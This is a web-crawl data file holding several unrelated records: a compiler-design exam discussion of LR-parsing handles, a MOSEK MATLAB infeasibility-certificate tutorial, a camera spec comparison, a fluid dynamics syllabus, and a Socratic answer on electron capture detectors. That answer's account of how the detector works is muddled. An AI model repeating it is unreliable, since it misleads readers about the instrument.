\\left(a_2+b_2-c_2\\right)}+\\frac{a_1-b_1+c_1}{2 \\left(a_2-b_2+c_2\\right)}##\n\nIf we add a complex unity ##i##, we will get a 6-dimensional number system.\n\nParticularly, we will see that\n\n##i^{j+k}=1-j-k##\n\nand\n\n##\\log (j k)=i\\pi-\\frac{i \\pi j}{2}-\\frac{i \\pi k}{2}##\n\n•",
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] | {"ft_lang_label":"__label__en","ft_lang_prob":0.59638083,"math_prob":0.99702084,"size":4172,"snap":"2023-14-2023-23","text_gpt3_token_len":1531,"char_repetition_ratio":0.12763916,"word_repetition_ratio":0.8272059,"special_character_ratio":0.38590604,"punctuation_ratio":0.101639345,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.99958664,"pos_list":[0,1,2],"im_url_duplicate_count":[null,null,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2023-06-06T07:19:04Z\",\"WARC-Record-ID\":\"<urn:uuid:e58fb490-42e2-4e7b-bb3f-5ff52abcea0e>\",\"Content-Length\":\"65593\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:208834fb-2c1d-4830-847a-75c965174036>\",\"WARC-Concurrent-To\":\"<urn:uuid:9f4055f4-b599-4bd9-aad9-8472d53f7039>\",\"WARC-IP-Address\":\"104.26.15.132\",\"WARC-Target-URI\":\"https://www.physicsforums.com/threads/3-dimensional-split-complex-numbers.1014815/\",\"WARC-Payload-Digest\":\"sha1:WO33243C4XBEO55E7HP2PRUMHFVOJFS4\",\"WARC-Block-Digest\":\"sha1:4PW6AMJDGT5NM5KFFXFEPPM3KBZUFYOA\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2023/CC-MAIN-2023-23/CC-MAIN-2023-23_segments_1685224652235.2_warc_CC-MAIN-20230606045924-20230606075924-00783.warc.gz\"}"} |
https://gateoverflow.in/409/gate-cse-2008-question-11 | [
"9,234 views\n\nWhich of the following describes a handle (as applicable to LR-parsing) appropriately?\n\n1. It is the position in a sentential form where the next shift or reduce operation will occur\n\n2. It is non-terminal whose production will be used for reduction in the next step\n\n3. It is a production that may be used for reduction in a future step along with a position in the sentential form where the next shift or reduce operation will occur\n\n4. It is the production $p$ that will be used for reduction in the next step along with a position in the sentential form where the right hand side of the production may be found\n\nWhile parsing a string from a grammar using LR parser (bottom-up parser) when we encounter a reduce move(ri) in the parsing table,\n\n1) we pop-off 2*x elements (x grammar symbols and x state symbols) from the stack where x is length of RHS of production rule (denoted by ri in our parsing table)\n\n2) and we push the LHS of the production rule (which production rule ? the production rule denoted by ri in our parsing table)\n\nNow the x grammar-symbols we popped-off from the stack is called as HANDLE ...\n\n@Vicky rix\n\nWhy you have written \"pop-off 2*x elements\"? It should be x elements only and whose size is equal to RHS of any given production rule.\n\nHandle is neither a non-terminal, nor is it used to decide when to shift. Options A, B, C are eliminated straight.\n\nBut it's necessary to know why Option D is correct.\n\nIn bottom up parsing, we begin with a string and we systematically reduce the string to just a single symbol (the Start symbol). It would be stupid to randomly reduce the literals you see, so we should identify which specific literals or set of literals to reduce, such that eventually we'll get back the Start symbol.\n\nThese reductions are called handles. We only want to reduce at handles.\n\nAll the strings that we encounter up to the point we reach a handle are called viable prefixes.\n\nGiven $S \\rightarrow Ab; A \\rightarrow c$ for the string $cb$\n\nWe can say $c$ is a handle (for convenience), or we can also say $A \\rightarrow c$ is a handle.\n\nHence, saying that handle is a substring or saying that handle is a production — both are correct.\n\n$A \\rightarrow c$ is a handle. We reduce at it. We get $Ab$. Now, we can reduce $Ab$ to $S$ and hence, we reach the start symbol.\n\nBoth the productions in this grammar are handles. This was a primitive example. Complex grammars might have many reductions as handles, and many not.\n\nTo evaluate that a substring can be formed out of a grammar in BUP, we do \"handle pruning\". In fact, the whole idea of BUP revolves around it. (That DFA construction, GoTo and Action table — all that is handle pruning).\n\nParsing is a method of identifying handles.\n\nStandard references:\n\n1",
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"2",
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"### Subscribe to GO Classes for GATE CSE 2022\n\nsentential form is the start symbol $S$ of a grammar or any string in $(V \\cup T)*$ that can be derived from $S$.\n\nConsider the linear grammar\n\n$(\\{S, B\\}, \\{a, b\\}, S, \\{S \\rightarrow aS, S \\rightarrow B, B \\rightarrow bB, B \\rightarrow \\lambda \\})$.\n\nA derivation using this grammar might look like this:\n\n$S \\Rightarrow aS \\Rightarrow aB \\Rightarrow abB \\Rightarrow abbB \\Rightarrow abb$\n\nEach of $\\{S, aS, aB, abB, abbB, abb\\}$ is a sentential form.\n\nBecause this grammar is linear, each sentential form has at most one variable. Hence there is never any choice about which variable to expand next.\n\nHere, in option D the sentential forms are same but generated differently coz we are using here Bottom Up production.\n\nHandle:\nfor example the grammar is:\n\n\\begin{align*} E &\\rightarrow E+n\\\\ E &\\rightarrow E*n\\\\ E &\\rightarrow n \\end{align*}\n\nThen say to derive string $n+n*n$:",
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"these are three different handles shown in $3$ different colors = $\\left\\{ n, E+n, E*n \\right \\}$\n\nthat's what option D says\n\nHere, in option D the sentential forms are same but generated differently coz we are using here Bottom Up production.\n\nWhat is the meaning of this line ??\n\nWhen we are taking second example; then we are doing bottom up parsing and obtaining Handles as well as we can see the Sentential forms getting generated.\n\nBut in the first example we start from the start symbol S and then do top-down parsing to obtain string. Here in this case Sentential forms are generated in contrast to the following next example.\n\n@pC Why c) option not correct?\nIn simple words , handle is a production or a sub-string of right sentential form , which is reduced as soon as encountered in stack while parsing . Because no viable prefix can pass(is more than) a handle.\n\nNow option c , says production is used for reduction in future that means it is allowing shift operation even after encountering a handle . So not correct.\nThe term \"position\" means handle is position dependent. Here in string $n+n*n$, there are three $n$'s but only first $n$ is handle and others not.\nHandle is not any arbitrary symbol that matches to right hand side of any non-terminal, it has very special property, That is- after reduction we must eventually reach to Start symbol.\neg- Grammar:\n\n\\begin{align*} E \\rightarrow E+n\\\\ E\\rightarrow E*n\\\\ E \\rightarrow n \\end{align*}\nString: $n+n*n$, first we encounter $n$ and we $\\;reduce\\;$ it: $E.+n*n$\nNow we encounter $+$ we shift (no option for reduce) : $E+.n*n$\nnext we encounter $n$ : $E+n.*n$, now we have 2 cfoices for reduction, either we reduce this $n$ (ofcourse middle $n$) to $E$ or we reduce $E+n$ to $E$.\nHere notice that, If we reduce $n$ to $E$ then we get: $E+E*n$ and from here we can never reach to start symbol. therefore middle $n$ is not handle and If we reduce $E+n$ to $E$ then we will eventually reach start symbol. hence $E+n$ is handle.\nThis explanation shows that handles are reductions which are GUARANTEED to reach start symbol.\nNow, you might argue that, why we do parsing and all...Once we know handles, just reduce them and get the starting symbol (as they guarantees to reach start symbol).\nMy counter question here is, \"How will u find handles\" ?\nAnd answer of this question is parsing.\nGoal of bottom-up parsers is to find handles only. Some parsers are strong enough that they can recognize all handles and some parsers can't.\nnice explanation @sachin :D\nNICE\n\nGuys I barely see any opton properly imitate essence of any of following definitions:\n\n1. Informal definition: handle is reduction that allows further reduction back to the start symbol\n2. Formal definition:\nAssume rightmost derivation\n$S\\rightarrow^* \\alpha X \\omega\\rightarrow^* \\alpha \\beta\\omega$",
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"then, $\\alpha \\beta$ is a handle of $\\alpha \\beta \\omega$\n\nSelected option id D, which says \"it is the production ....\". But as can be seen from the definitions above, its not a production.\n\nnice explanation sachin sir\nthank u so much sir..\n\nPlease, Can someone elaborate Option C\n\n@ Because of the “Shift” word.\n\nHandle is a substring of sentential form from which the start symbol can be reached using reduction at each step.\nby"
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"https://gateoverflow.in/",
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https://docs.mosek.com/10.0/toolbox/tutorial-pinfeas-shared.html | [
"# 6.11 Retrieving infeasibility certificates¶\n\nWhen a continuous problem is declared as primal or dual infeasible, MOSEK provides a Farkas-type infeasibility certificate. If, as it happens in many cases, the problem is infeasible due to an unintended mistake in the formulation or because some individual constraint is too tight, then it is likely that infeasibility can be isolated to a few linear constraints/bounds that mutually contradict each other. In this case it is easy to identify the source of infeasibility. The tutorial in Sec. 8.3 (Debugging infeasibility) has instructions on how to deal with this situation and debug it by hand. We recommend Sec. 8.3 (Debugging infeasibility) as an introduction to infeasibility certificates and how to deal with infeasibilities in general.\n\nSome users, however, would prefer to obtain the infeasibility certificate using Optimization Toolbox for MATLAB, for example in order to repair the issue automatically, display the information to the user, or perhaps simply because the infeasibility was one of the intended outcomes that should be analyzed in the code.\n\nIn this tutorial we show how to obtain such an infeasibility certificate with Optimization Toolbox for MATLAB in the most typical case, that is when the linear part of a problem is primal infeasible. A Farkas-type primal infeasibility certificate consists of the dual values of linear constraints and bounds. The names of duals corresponding to various parts of the problem are defined in Sec. 12.1.2 (Infeasibility for Linear Optimization). Each of the dual values (multipliers) indicates that a certain multiple of the corresponding constraint should be taken into account when forming the collection of mutually contradictory equalities/inequalities.\n\n## 6.11.1 Example PINFEAS¶\n\nFor the purpose of this tutorial we use the same example as in Sec. 8.3 (Debugging infeasibility), that is the primal infeasible problem\n\n(6.36)$\\begin{split}\\begin{array}{llccccccccccccccl} \\mbox{minimize} & & x_{0} & + & 2x_{1} & + & 5x_{2} & + & 2x_{3} & + & x_{4} & + & 2x_{5} & + & x_{6} & & \\\\ \\mbox{subject to}&s_0 : & x_{0} & + & x_{1} & & & & & & & & & & & \\leq & 200, \\\\ &s_1 : & & & & & x_{2} & + & x_{3} & & & & & & & \\leq & 1000,\\\\ &s_2 : & & & & & & & & & x_{4} & + & x_{5} & + & x_{6} & \\leq & 1000,\\\\ &d_0 : & x_{0} & & & & & & & + & x_{4} & & & & & = & 1100,\\\\ &d_1 : & & & x_{1} & & & & & & & & & & & = & 200, \\\\ &d_2 : & & & & & x_{2} & + & & & & & x_{5} & & & = & 500, \\\\ &d_3 : & & & & & & & x_{3} & + & & & & & x_{6} & = & 500, \\\\ & & & & & & & & & & & & & & x_{i} & \\geq & 0. \\end{array}\\end{split}$\n\nChecking infeasible status and adjusting settings\n\nAfter the model has been solved we check that it is indeed infeasible. If yes, then we choose a threshold for when a certificate value is considered as an important contributor to infeasibility (ideally we would like to list all nonzero duals, but just like an optimal solution, an infeasibility certificate is also subject to floating-point rounding errors). All these steps are demonstrated in the snippet below:\n\n% Check problem status\nif strcmp(res.sol.itr.prosta, 'PRIMAL_INFEASIBLE')\n% Set the tolerance at which we consider a dual value as essential\neps = 1e-7;\n\n\nGoing through the certificate for a single item\n\nWe can define a fairly generic function which takes an array of lower and upper dual values and all other required data and prints out the positions of those entries whose dual values exceed the given threshold. These are precisely the values we are interested in:\n\n% Analyzes and prints infeasibility contributing elements\n% sl - dual values for lower bounds\n% su - dual values for upper bounds\n% eps - tolerance for when a nunzero dual value is significant\nfunction analyzeCertificate(sl, su, eps)\nn = size(sl);\nfor i=1:n\nif abs(sl(i)) > eps\ndisp(sprintf(\"#%d: lower, dual = %e\", i, sl(i)));\nend\nif abs(su(i)) > eps\ndisp(sprintf(\"#%d: upper, dual = %e\", i, su(i)));\nend\nend\n\n\nFull source code\n\nAll that remains is to call this function for all variable and constraint bounds for which we want to know their contribution to infeasibility. Putting all these pieces together we obtain the following full code:\n\nListing 6.26 Demonstrates how to retrieve a primal infeasibility certificate. Click here to download.\nfunction pinfeas()\n\n% In this example we set up a simple problem\n[prob] = testProblem();\n\n% Perform the optimization.\n[rcode, res] = mosekopt('minimize', prob);\n\n% Check problem status\nif strcmp(res.sol.itr.prosta, 'PRIMAL_INFEASIBLE')\n% Set the tolerance at which we consider a dual value as essential\neps = 1e-7;\n\ndisp(\"Variable bounds important for infeasibility: \");\nanalyzeCertificate(res.sol.itr.slx, res.sol.itr.sux, eps);\n\ndisp(\"Constraint bounds important for infeasibility: \")\nanalyzeCertificate(res.sol.itr.slc, res.sol.itr.suc, eps);\nelse\ndisp(\"The problem is not primal infeasible, no certificate to show\");\nend\n\n% Set up a simple linear problem from the manual for test purposes\nfunction [prob] = testProblem()\nprob = [];\nprob.c = [1, 2, 5, 2, 1, 2, 1];\nprob.a = sparse([1,1,2,2,3,3,3,4,4,5,6,6,7,7],...\n[1,2,3,4,5,6,7,1,5,2,3,6,4,7],...\n[1,1,1,1,1,1,1,1,1,1,1,1,1,1],...\n7, 7);\nprob.blc = [-inf, -inf, -inf, 1100, 200, 500, 500];\nprob.buc = [200, 1000, 1000, 1100, 200, 500, 500];\nprob.blx = [0, 0, 0, 0, 0, 0, 0];\nprob.bux = repmat(inf, 1, 7);\nprob\n\n% Analyzes and prints infeasibility contributing elements\n% sl - dual values for lower bounds\n% su - dual values for upper bounds\n% eps - tolerance for when a nunzero dual value is significant\nfunction analyzeCertificate(sl, su, eps)\nn = size(sl);\nfor i=1:n\nif abs(sl(i)) > eps\ndisp(sprintf(\"#%d: lower, dual = %e\", i, sl(i)));\nend\nif abs(su(i)) > eps\ndisp(sprintf(\"#%d: upper, dual = %e\", i, su(i)));\nend\nend\n\n\nRunning this code will produce the following output:\n\nVariable bounds important for infeasibility:\n#6: lower, dual = 1.000000e+00\n#7: lower, dual = 1.000000e+00\nConstraint bounds important for infeasibility:\n#1: upper, dual = 1.000000e+00\n#3: upper, dual = 1.000000e+00\n#4: lower, dual = 1.000000e+00\n#5: lower, dual = 1.000000e+00\n\n\nindicating the positions of bounds which appear in the infeasibility certificate with nonzero values."
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https://www.digicamdb.com/compare/olympus_o-md-e-m1-mark-iii-vs-olympus_om-d-e-m5-iii/ | [
"# Olympus OM-D E-M1 Mark III vs. Olympus OM-D E-M5 Mark III\n\n### Comparison\n\nchange cameras »",
null,
"vs",
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"Olympus OM-D E-M1 Mark III Olympus OM-D E-M5 Mark III\ncheck price » check price »\nMegapixels\n20.40\n20.40\nMax. image resolution\n5184 x 3888\n5184 x 3888\n\n## Sensor\n\nSensor type\nCMOS\nCMOS\nSensor size\nFour Thirds (17.3 x 13 mm)\nFour Thirds (17.3 x 13 mm)\nSensor resolution\n5208 x 3916\n5208 x 3916\nDiagonal\n21.64 mm\n21.64 mm\nSensor size comparison\nSensor size is generally a good indicator of the quality of the camera. Sensors can vary greatly in size. As a general rule, the bigger the sensor, the better the image quality.\n\nBigger sensors are more effective because they have more surface area to capture light. An important factor when comparing digital cameras is also camera generation. Generally, newer sensors will outperform the older.\n\n## Actual sensor size\n\nNote: Actual size is set to screen → change »\n vs 1 : 1 (ratio) Olympus OM-D E-M1 Mark III Olympus OM-D E-M5 Mark III\nSurface area:\n 224.90 mm² vs 224.90 mm²\nDifference: 0 mm² (0%)\nOM-D E-M1 Mark III and OM-D E-M5 Mark III sensors are the same size.\nPixel pitch\n3.32 µm\n3.32 µm\nPixel pitch tells you the distance from the center of one pixel (photosite) to the center of the next. It tells you how close the pixels are to each other.\n\nThe bigger the pixel pitch, the further apart they are and the bigger each pixel is. Bigger pixels tend to have better signal to noise ratio and greater dynamic range.\nDifference: 0 µm (0%)\nOM-D E-M1 Mark III and OM-D E-M5 Mark III have the same pixel pitch.\nPixel area\n11.02 µm²\n11.02 µm²\nPixel or photosite area affects how much light per pixel can be gathered. The larger it is the more light can be collected by a single pixel.\n\nLarger pixels have the potential to collect more photons, resulting in greater dynamic range, while smaller pixels provide higher resolutions (more detail) for a given sensor size.\nRelative pixel sizes:\nvs\nPixel area difference: 0 µm² (0%)\nOlympus OM-D E-M1 Mark III and Olympus OM-D E-M5 Mark III have the same pixel area.\nPixel density\n9.06 MP/cm²\n9.06 MP/cm²\nPixel density tells you how many million pixels fit or would fit in one square cm of the sensor.\n\nHigher pixel density means smaller pixels and lower pixel density means larger pixels.\nDifference: 0 µm (0%)\nOlympus OM-D E-M1 Mark III and Olympus OM-D E-M5 Mark III have the same pixel density.\n\n## Specs\n\nOlympus OM-D E-M1 Mark III\nOlympus OM-D E-M5 Mark III\nCrop factor\n2\n2\nTotal megapixels\n21.80\n21.80\nEffective megapixels\n20.40\n20.40\nOptical zoom\n\nDigital zoom\nYes\nYes\nISO sensitivity\nAuto, 200-25600 (extendable to 64)\nAuto, 64-25600\nRAW\nManual focus\nNormal focus range\nMacro focus range\nFocal length (35mm equiv.)\nAperture priority\nYes\nYes\nMax. aperture\nMax. aperture (35mm equiv.)\nn/a\nn/a\nMetering\nMulti, Center-weighted, Highlight-weighted, Spot\nMulti, Center-weighted, Spot\nExposure compensation\n±5 EV (in 1/3 EV, 1/2 EV, 1 EV steps)\n±5 EV (in 1/3 EV, 1/2 EV, 1 EV steps)\nShutter priority\nYes\nYes\nMin. shutter speed\n60 sec\n60 sec\nMax. shutter speed\n1/32000 sec\n1/32000 sec\nBuilt-in flash\nExternal flash\nViewfinder\nElectronic\nElectronic\nWhite balance presets\n7\n7\nScreen size\n3\"\n3\"\nScreen resolution\n1,037,000 dots\n1,037,000 dots\nVideo capture\nMax. video resolution\n4096x2160 (24p)\n4096x2160 (24p)\nStorage types\nSD/SDHC/SDXC\nSD/SDHC/SDXC\nUSB\nUSB 3.0 (5 GBit/sec)\nUSB 2.0 (480 Mbit/sec)\nHDMI\nWireless\nGPS\nBattery\nBLH-1 lithium-ion battery\nBLS-50 lithium-ion battery\nWeight\n580 g\n414 g\nDimensions\n134.1 x 90.9 x 68.9 mm\n125.3 x 85.2 x 49.7 mm\nYear\n2020\n2019\n\n vs\n\n## Diagonal\n\nDiagonal is calculated by the use of Pythagorean theorem:\n Diagonal = √ w² + h²\nwhere w = sensor width and h = sensor height\n\n### Olympus OM-D E-M1 Mark III diagonal\n\nw = 17.30 mm\nh = 13.00 mm\n Diagonal = √ 17.30² + 13.00² = 21.64 mm\n\n### Olympus OM-D E-M5 Mark III diagonal\n\nw = 17.30 mm\nh = 13.00 mm\n Diagonal = √ 17.30² + 13.00² = 21.64 mm\n\n## Surface area\n\nSurface area is calculated by multiplying the width and the height of a sensor.\n\n### OM-D E-M1 Mark III sensor area\n\nWidth = 17.30 mm\nHeight = 13.00 mm\n\nSurface area = 17.30 × 13.00 = 224.90 mm²\n\n### OM-D E-M5 Mark III sensor area\n\nWidth = 17.30 mm\nHeight = 13.00 mm\n\nSurface area = 17.30 × 13.00 = 224.90 mm²\n\n## Pixel pitch\n\nPixel pitch is the distance from the center of one pixel to the center of the next measured in micrometers (µm). It can be calculated with the following formula:\n Pixel pitch = sensor width in mm × 1000 sensor resolution width in pixels\n\n### OM-D E-M1 Mark III pixel pitch\n\nSensor width = 17.30 mm\nSensor resolution width = 5208 pixels\n Pixel pitch = 17.30 × 1000 = 3.32 µm 5208\n\n### OM-D E-M5 Mark III pixel pitch\n\nSensor width = 17.30 mm\nSensor resolution width = 5208 pixels\n Pixel pitch = 17.30 × 1000 = 3.32 µm 5208\n\n## Pixel area\n\nThe area of one pixel can be calculated by simply squaring the pixel pitch:\nPixel area = pixel pitch²\n\nYou could also divide sensor surface area with effective megapixels:\n Pixel area = sensor surface area in mm² effective megapixels\n\n### OM-D E-M1 Mark III pixel area\n\nPixel pitch = 3.32 µm\n\nPixel area = 3.32² = 11.02 µm²\n\n### OM-D E-M5 Mark III pixel area\n\nPixel pitch = 3.32 µm\n\nPixel area = 3.32² = 11.02 µm²\n\n## Pixel density\n\nPixel density can be calculated with the following formula:\n Pixel density = ( sensor resolution width in pixels )² / 1000000 sensor width in cm\n\nOne could also use this formula:\n Pixel density = effective megapixels × 1000000 / 10000 sensor surface area in mm²\n\n### OM-D E-M1 Mark III pixel density\n\nSensor resolution width = 5208 pixels\nSensor width = 1.73 cm\n\nPixel density = (5208 / 1.73)² / 1000000 = 9.06 MP/cm²\n\n### OM-D E-M5 Mark III pixel density\n\nSensor resolution width = 5208 pixels\nSensor width = 1.73 cm\n\nPixel density = (5208 / 1.73)² / 1000000 = 9.06 MP/cm²\n\n## Sensor resolution\n\nSensor resolution is calculated from sensor size and effective megapixels. It's slightly higher than maximum (not interpolated) image resolution which is usually stated on camera specifications. Sensor resolution is used in pixel pitch, pixel area, and pixel density formula. For sake of simplicity, we're going to calculate it in 3 stages.\n\n1. First we need to find the ratio between horizontal and vertical length by dividing the former with the latter (aspect ratio). It's usually 1.33 (4:3) or 1.5 (3:2), but not always.\n\n2. With the ratio (r) known we can calculate the X from the formula below, where X is a vertical number of pixels:\n(X × r) × X = effective megapixels × 1000000 →\n X = √ effective megapixels × 1000000 r\n3. To get sensor resolution we then multiply X with the corresponding ratio:\n\nResolution horizontal: X × r\nResolution vertical: X\n\n### OM-D E-M1 Mark III sensor resolution\n\nSensor width = 17.30 mm\nSensor height = 13.00 mm\nEffective megapixels = 20.40\nr = 17.30/13.00 = 1.33\n X = √ 20.40 × 1000000 = 3916 1.33\nResolution horizontal: X × r = 3916 × 1.33 = 5208\nResolution vertical: X = 3916\n\nSensor resolution = 5208 x 3916\n\n### OM-D E-M5 Mark III sensor resolution\n\nSensor width = 17.30 mm\nSensor height = 13.00 mm\nEffective megapixels = 20.40\nr = 17.30/13.00 = 1.33\n X = √ 20.40 × 1000000 = 3916 1.33\nResolution horizontal: X × r = 3916 × 1.33 = 5208\nResolution vertical: X = 3916\n\nSensor resolution = 5208 x 3916\n\n## Crop factor\n\nCrop factor or focal length multiplier is calculated by dividing the diagonal of 35 mm film (43.27 mm) with the diagonal of the sensor.\n Crop factor = 43.27 mm sensor diagonal in mm\n\n### OM-D E-M1 Mark III crop factor\n\nSensor diagonal in mm = 21.64 mm\n Crop factor = 43.27 = 2 21.64\n\n### OM-D E-M5 Mark III crop factor\n\nSensor diagonal in mm = 21.64 mm\n Crop factor = 43.27 = 2 21.64\n\n## 35 mm equivalent aperture\n\nEquivalent aperture (in 135 film terms) is calculated by multiplying lens aperture with crop factor (a.k.a. focal length multiplier).\n\n### OM-D E-M1 Mark III equivalent aperture\n\nAperture is a lens characteristic, so it's calculated only for fixed lens cameras. If you want to know the equivalent aperture for Olympus OM-D E-M1 Mark III, take the aperture of the lens you're using and multiply it with crop factor.\n\nCrop factor for Olympus OM-D E-M1 Mark III is 2\n\n### OM-D E-M5 Mark III equivalent aperture\n\nAperture is a lens characteristic, so it's calculated only for fixed lens cameras. If you want to know the equivalent aperture for Olympus OM-D E-M5 Mark III, take the aperture of the lens you're using and multiply it with crop factor.\n\nCrop factor for Olympus OM-D E-M5 Mark III is 2\n\n## Enter your screen size (diagonal)\n\nMy screen size is inches\n\nActual size is currently adjusted to screen.\n\nIf your screen (phone, tablet, or monitor) is not in diagonal, then the actual size of a sensor won't be shown correctly."
] | [
null,
"https://www.digicamdb.com/compare/olympus_o-md-e-m1-mark-iii-vs-olympus_om-d-e-m5-iii/images/cameras/olympus_e-m1-mark-iii.jpg",
null,
"https://www.digicamdb.com/compare/olympus_o-md-e-m1-mark-iii-vs-olympus_om-d-e-m5-iii/images/cameras/olympus_e-m5-mark-iii.jpg",
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] | {"ft_lang_label":"__label__en","ft_lang_prob":0.7871864,"math_prob":0.97329026,"size":11557,"snap":"2022-27-2022-33","text_gpt3_token_len":3485,"char_repetition_ratio":0.20643988,"word_repetition_ratio":0.53108436,"special_character_ratio":0.31971964,"punctuation_ratio":0.10826211,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.96744704,"pos_list":[0,1,2,3,4],"im_url_duplicate_count":[null,1,null,1,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2022-08-08T11:16:37Z\",\"WARC-Record-ID\":\"<urn:uuid:b80f7caa-dcf7-431c-9915-878540a3637a>\",\"Content-Length\":\"50113\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:8ce193ac-ada0-4d20-9464-d4160f811368>\",\"WARC-Concurrent-To\":\"<urn:uuid:58ae3851-9d58-4444-bab4-60816b52b4f3>\",\"WARC-IP-Address\":\"173.248.187.251\",\"WARC-Target-URI\":\"https://www.digicamdb.com/compare/olympus_o-md-e-m1-mark-iii-vs-olympus_om-d-e-m5-iii/\",\"WARC-Payload-Digest\":\"sha1:O3MQPORMG5MLMMSJ2F3PLZ55L7EQ7KJU\",\"WARC-Block-Digest\":\"sha1:SWXPKTBSCCHTFRADNE2RLZC5MCZFMGJS\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2022/CC-MAIN-2022-33/CC-MAIN-2022-33_segments_1659882570793.14_warc_CC-MAIN-20220808092125-20220808122125-00587.warc.gz\"}"} |
https://socratic.org/questions/how-do-electron-capture-detectors-work | [
"# How do electron capture detectors work?\n\nApr 9, 2016\n\nIn general, the purpose of an electron capture detector is to detect the concentration of the analyte based on how many electrons it absorbs to use in an electron capture event.\n\nSuppose we had a gas chromatograph that sent its output stream of carrier gas (the mobile phase) through the column labeled $A$ below:",
null,
"Typically, about $10$ $\\text{mCi}$ (a measure of radioactivity, called \"Curies\" after Marie Curie; $\\text{mCi}$ is a millicurie) of the $\\text{^63 \"Ni}$ radioactive nuclide acts as an electron emitter.\n\nThis emits radioactive electrons in the presence of, typically, ${\\text{N}}_{2}$, which acts as a makeup gas (a gas that is used to minimize band broadening, which tends to be an issue, for instance, if you're working with many molecules with diverse root-mean-square velocities [doppler broadening]).\n\nAs the electron emitter emits electrons at the makeup gas, these electrons collide with them and ionize them, thus increasing the number of free electrons.\n\nThe free electrons travel through towards a positively-charged anode, creating a circuit. This generates the background signal. This set of electrons is then accelerated into the electron capture detector which counts electrons as it absorbs them.\n\nIt then converts the signal (like a transducer) in such a way that you get the analyte concentration."
] | [
null,
"https://d2jmvrsizmvf4x.cloudfront.net/nX0A7hXPSwqok17GzzvJ_200px-Electron_capture_detector.png",
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] | {"ft_lang_label":"__label__en","ft_lang_prob":0.8781833,"math_prob":0.9490483,"size":986,"snap":"2019-51-2020-05","text_gpt3_token_len":189,"char_repetition_ratio":0.17107943,"word_repetition_ratio":0.0,"special_character_ratio":0.17849898,"punctuation_ratio":0.08139535,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.96543026,"pos_list":[0,1,2],"im_url_duplicate_count":[null,1,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2020-01-19T10:32:58Z\",\"WARC-Record-ID\":\"<urn:uuid:0a7110be-3335-45c8-b8f1-0c78b6abdb42>\",\"Content-Length\":\"36234\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:51858d36-ace0-4b57-9f22-1474e9c48589>\",\"WARC-Concurrent-To\":\"<urn:uuid:cecfd6ee-690b-4949-bb82-54b5837cb128>\",\"WARC-IP-Address\":\"54.221.217.175\",\"WARC-Target-URI\":\"https://socratic.org/questions/how-do-electron-capture-detectors-work\",\"WARC-Payload-Digest\":\"sha1:AX2G3PR2A5NJQDKBE6BH2KFAAGJHUDKB\",\"WARC-Block-Digest\":\"sha1:DM7H3XBFHBJE5W3IZHYHM5EHJDUVQGTX\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2020/CC-MAIN-2020-05/CC-MAIN-2020-05_segments_1579250594391.21_warc_CC-MAIN-20200119093733-20200119121733-00497.warc.gz\"}"} |
https://www.iist.ac.in/academics/curriculum/subject/info/1091 | [
"# Sorry, you need to enable JavaScript to visit this website.\n\n• 11:17 PM, Tuesday, 19 Nov 2019\n\n Course Undergraduate Semester Electives Subject Code AE468 Subject Title Computational Fluid Dynamics\n\n##### Syllabus\n\nMathematical models for fluid dynamics – classification of partial differential equations – discretization methods – finite difference formulation – numerical solution of elliptic equations – linear system of algebraic equations – numerical solution of parabolic equations – stability analysis – numerical solution of hyperbolic equations – finite volume method – Burgers equation – time integration schemes – incompressible Navier-Stokes equations and their solution algorithms.\n\n##### Text Books\n\n1.Hirsch, C., Numerical Computation of Internal and External Flows: The Fundamentals of Computational Fluid Dynamics, Vol. I, 2nd ed., Butterworth-Heinemann (2007).\n\n##### References\n\n1. Tannehill, J. C., Anderson, D. A., and Pletcher, R. H., Computational Fluid Mechanics and Heat Transfer, 2nd ed., Taylor & Francis (1997).\n\n2. Hoffmann, K. A. and Chiang, S. T., Computational Fluid Dynamics for Engineers, 4th ed., Engineering Education Systems (2000).\n\n3. Anderson, J. D., Computational Fluid Dynamics: The Basics with Applications, McGraw- Hill (1995).\n\n4. Patankar, S. V., Numerical Heat Transfer and Fluid Flow, Hemisphere (1980).\n\n5. Ferziger, J. H. and Peri´c, M., Computational Methods for Fluid Dynamics, 3rd ed., Springer (2002)."
] | [
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] | {"ft_lang_label":"__label__en","ft_lang_prob":0.69614744,"math_prob":0.8525131,"size":1308,"snap":"2019-43-2019-47","text_gpt3_token_len":308,"char_repetition_ratio":0.16334356,"word_repetition_ratio":0.0,"special_character_ratio":0.24541284,"punctuation_ratio":0.28033474,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.98780084,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2019-11-19T18:01:54Z\",\"WARC-Record-ID\":\"<urn:uuid:1dcbf50f-6538-49e6-be94-5827f8548931>\",\"Content-Length\":\"45481\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:4757bd90-9bfa-4082-a451-1eb1883d93cd>\",\"WARC-Concurrent-To\":\"<urn:uuid:ac47a8ff-ec29-4d41-b7e2-274cc10ef146>\",\"WARC-IP-Address\":\"210.212.239.182\",\"WARC-Target-URI\":\"https://www.iist.ac.in/academics/curriculum/subject/info/1091\",\"WARC-Payload-Digest\":\"sha1:FHU64DAVGX3BRCIWCXSCRSWAPD7RRN7K\",\"WARC-Block-Digest\":\"sha1:AGEDUT3TGLOVID5ZVOXSP4WFG7T3T4K2\",\"WARC-Identified-Payload-Type\":\"application/xhtml+xml\",\"warc_filename\":\"/cc_download/warc_2019/CC-MAIN-2019-47/CC-MAIN-2019-47_segments_1573496670162.76_warc_CC-MAIN-20191119172137-20191119200137-00360.warc.gz\"}"} |
